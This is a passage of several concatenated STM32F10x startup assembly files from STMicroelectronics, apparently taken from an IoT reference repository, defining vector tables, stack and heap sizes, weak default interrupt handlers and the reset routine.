LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 15,398 | OneNET-V3.2-OneNET-裸机-基础例程/13.M6312-TCP-LED/core/startup/arm/startup_stm32f10x_cl.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_cl.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x Connectivity line devices vector table for MDK-ARM
;* toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_2_IRQHandler ; ADC1 and ADC2
DCD CAN1_TX_IRQHandler ; CAN1 TX
DCD CAN1_RX0_IRQHandler ; CAN1 RX0
DCD CAN1_RX1_IRQHandler ; CAN1 RX1
DCD CAN1_SCE_IRQHandler ; CAN1 SCE
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_IRQHandler ; TIM1 Break
DCD TIM1_UP_IRQHandler ; TIM1 Update
DCD TIM1_TRG_COM_IRQHandler ; TIM1 Trigger and Commutation
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C1 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC alarm through EXTI line
DCD OTG_FS_WKUP_IRQHandler ; USB OTG FS Wakeup through EXTI line
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD TIM5_IRQHandler ; TIM5
DCD SPI3_IRQHandler ; SPI3
DCD UART4_IRQHandler ; UART4
DCD UART5_IRQHandler ; UART5
DCD TIM6_IRQHandler ; TIM6
DCD TIM7_IRQHandler ; TIM7
DCD DMA2_Channel1_IRQHandler ; DMA2 Channel1
DCD DMA2_Channel2_IRQHandler ; DMA2 Channel2
DCD DMA2_Channel3_IRQHandler ; DMA2 Channel3
DCD DMA2_Channel4_IRQHandler ; DMA2 Channel4
DCD DMA2_Channel5_IRQHandler ; DMA2 Channel5
DCD ETH_IRQHandler ; Ethernet
DCD ETH_WKUP_IRQHandler ; Ethernet Wakeup through EXTI line
DCD CAN2_TX_IRQHandler ; CAN2 TX
DCD CAN2_RX0_IRQHandler ; CAN2 RX0
DCD CAN2_RX1_IRQHandler ; CAN2 RX1
DCD CAN2_SCE_IRQHandler ; CAN2 SCE
DCD OTG_FS_IRQHandler ; USB OTG FS
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_2_IRQHandler [WEAK]
EXPORT CAN1_TX_IRQHandler [WEAK]
EXPORT CAN1_RX0_IRQHandler [WEAK]
EXPORT CAN1_RX1_IRQHandler [WEAK]
EXPORT CAN1_SCE_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_IRQHandler [WEAK]
EXPORT TIM1_UP_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT TIM4_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT I2C2_EV_IRQHandler [WEAK]
EXPORT I2C2_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT SPI2_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT USART3_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT OTG_FS_WKUP_IRQHandler [WEAK]
EXPORT TIM5_IRQHandler [WEAK]
EXPORT SPI3_IRQHandler [WEAK]
EXPORT UART4_IRQHandler [WEAK]
EXPORT UART5_IRQHandler [WEAK]
EXPORT TIM6_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
EXPORT DMA2_Channel1_IRQHandler [WEAK]
EXPORT DMA2_Channel2_IRQHandler [WEAK]
EXPORT DMA2_Channel3_IRQHandler [WEAK]
EXPORT DMA2_Channel4_IRQHandler [WEAK]
EXPORT DMA2_Channel5_IRQHandler [WEAK]
EXPORT ETH_IRQHandler [WEAK]
EXPORT ETH_WKUP_IRQHandler [WEAK]
EXPORT CAN2_TX_IRQHandler [WEAK]
EXPORT CAN2_RX0_IRQHandler [WEAK]
EXPORT CAN2_RX1_IRQHandler [WEAK]
EXPORT CAN2_SCE_IRQHandler [WEAK]
EXPORT OTG_FS_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_2_IRQHandler
CAN1_TX_IRQHandler
CAN1_RX0_IRQHandler
CAN1_RX1_IRQHandler
CAN1_SCE_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_IRQHandler
TIM1_UP_IRQHandler
TIM1_TRG_COM_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
TIM4_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
I2C2_EV_IRQHandler
I2C2_ER_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
USART3_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
OTG_FS_WKUP_IRQHandler
TIM5_IRQHandler
SPI3_IRQHandler
UART4_IRQHandler
UART5_IRQHandler
TIM6_IRQHandler
TIM7_IRQHandler
DMA2_Channel1_IRQHandler
DMA2_Channel2_IRQHandler
DMA2_Channel3_IRQHandler
DMA2_Channel4_IRQHandler
DMA2_Channel5_IRQHandler
ETH_IRQHandler
ETH_WKUP_IRQHandler
CAN2_TX_IRQHandler
CAN2_RX0_IRQHandler
CAN2_RX1_IRQHandler
CAN2_SCE_IRQHandler
OTG_FS_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 15,192 | OneNET-V3.2-OneNET-裸机-基础例程/13.M6312-TCP-LED/core/startup/arm/startup_stm32f10x_hd.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_hd.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x High Density Devices vector table for MDK-ARM
;* toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system and also configure the external
;* SRAM mounted on STM3210E-EVAL board to be used as data
;* memory (optional, to be enabled by user)
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400 ;ջС-1024B-ɱԶͷ źIJֲֵֵȡ
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000400 ;ѴС-1024B- һɳԱͷţ ԱͷţʱOS
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_2_IRQHandler ; ADC1 & ADC2
DCD USB_HP_CAN1_TX_IRQHandler ; USB High Priority or CAN1 TX
DCD USB_LP_CAN1_RX0_IRQHandler ; USB Low Priority or CAN1 RX0
DCD CAN1_RX1_IRQHandler ; CAN1 RX1
DCD CAN1_SCE_IRQHandler ; CAN1 SCE
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_IRQHandler ; TIM1 Break
DCD TIM1_UP_IRQHandler ; TIM1 Update
DCD TIM1_TRG_COM_IRQHandler ; TIM1 Trigger and Commutation
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C2 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD USBWakeUp_IRQHandler ; USB Wakeup from suspend
DCD TIM8_BRK_IRQHandler ; TIM8 Break
DCD TIM8_UP_IRQHandler ; TIM8 Update
DCD TIM8_TRG_COM_IRQHandler ; TIM8 Trigger and Commutation
DCD TIM8_CC_IRQHandler ; TIM8 Capture Compare
DCD ADC3_IRQHandler ; ADC3
DCD FSMC_IRQHandler ; FSMC
DCD SDIO_IRQHandler ; SDIO
DCD TIM5_IRQHandler ; TIM5
DCD SPI3_IRQHandler ; SPI3
DCD UART4_IRQHandler ; UART4
DCD UART5_IRQHandler ; UART5
DCD TIM6_IRQHandler ; TIM6
DCD TIM7_IRQHandler ; TIM7
DCD DMA2_Channel1_IRQHandler ; DMA2 Channel1
DCD DMA2_Channel2_IRQHandler ; DMA2 Channel2
DCD DMA2_Channel3_IRQHandler ; DMA2 Channel3
DCD DMA2_Channel4_5_IRQHandler ; DMA2 Channel4 & Channel5
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_2_IRQHandler [WEAK]
EXPORT USB_HP_CAN1_TX_IRQHandler [WEAK]
EXPORT USB_LP_CAN1_RX0_IRQHandler [WEAK]
EXPORT CAN1_RX1_IRQHandler [WEAK]
EXPORT CAN1_SCE_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_IRQHandler [WEAK]
EXPORT TIM1_UP_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT TIM4_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT I2C2_EV_IRQHandler [WEAK]
EXPORT I2C2_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT SPI2_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT USART3_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT USBWakeUp_IRQHandler [WEAK]
EXPORT TIM8_BRK_IRQHandler [WEAK]
EXPORT TIM8_UP_IRQHandler [WEAK]
EXPORT TIM8_TRG_COM_IRQHandler [WEAK]
EXPORT TIM8_CC_IRQHandler [WEAK]
EXPORT ADC3_IRQHandler [WEAK]
EXPORT FSMC_IRQHandler [WEAK]
EXPORT SDIO_IRQHandler [WEAK]
EXPORT TIM5_IRQHandler [WEAK]
EXPORT SPI3_IRQHandler [WEAK]
EXPORT UART4_IRQHandler [WEAK]
EXPORT UART5_IRQHandler [WEAK]
EXPORT TIM6_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
EXPORT DMA2_Channel1_IRQHandler [WEAK]
EXPORT DMA2_Channel2_IRQHandler [WEAK]
EXPORT DMA2_Channel3_IRQHandler [WEAK]
EXPORT DMA2_Channel4_5_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_2_IRQHandler
USB_HP_CAN1_TX_IRQHandler
USB_LP_CAN1_RX0_IRQHandler
CAN1_RX1_IRQHandler
CAN1_SCE_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_IRQHandler
TIM1_UP_IRQHandler
TIM1_TRG_COM_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
TIM4_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
I2C2_EV_IRQHandler
I2C2_ER_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
USART3_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
USBWakeUp_IRQHandler
TIM8_BRK_IRQHandler
TIM8_UP_IRQHandler
TIM8_TRG_COM_IRQHandler
TIM8_CC_IRQHandler
ADC3_IRQHandler
FSMC_IRQHandler
SDIO_IRQHandler
TIM5_IRQHandler
SPI3_IRQHandler
UART4_IRQHandler
UART5_IRQHandler
TIM6_IRQHandler
TIM7_IRQHandler
DMA2_Channel1_IRQHandler
DMA2_Channel2_IRQHandler
DMA2_Channel3_IRQHandler
DMA2_Channel4_5_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 15,597 | OneNET-V3.2-OneNET-裸机-基础例程/13.M6312-TCP-LED/core/startup/arm/startup_stm32f10x_xl.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_xl.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x XL-Density Devices vector table for MDK-ARM
;* toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system and also configure the external
;* SRAM mounted on STM3210E-EVAL board to be used as data
;* memory (optional, to be enabled by user)
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_2_IRQHandler ; ADC1 & ADC2
DCD USB_HP_CAN1_TX_IRQHandler ; USB High Priority or CAN1 TX
DCD USB_LP_CAN1_RX0_IRQHandler ; USB Low Priority or CAN1 RX0
DCD CAN1_RX1_IRQHandler ; CAN1 RX1
DCD CAN1_SCE_IRQHandler ; CAN1 SCE
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_TIM9_IRQHandler ; TIM1 Break and TIM9
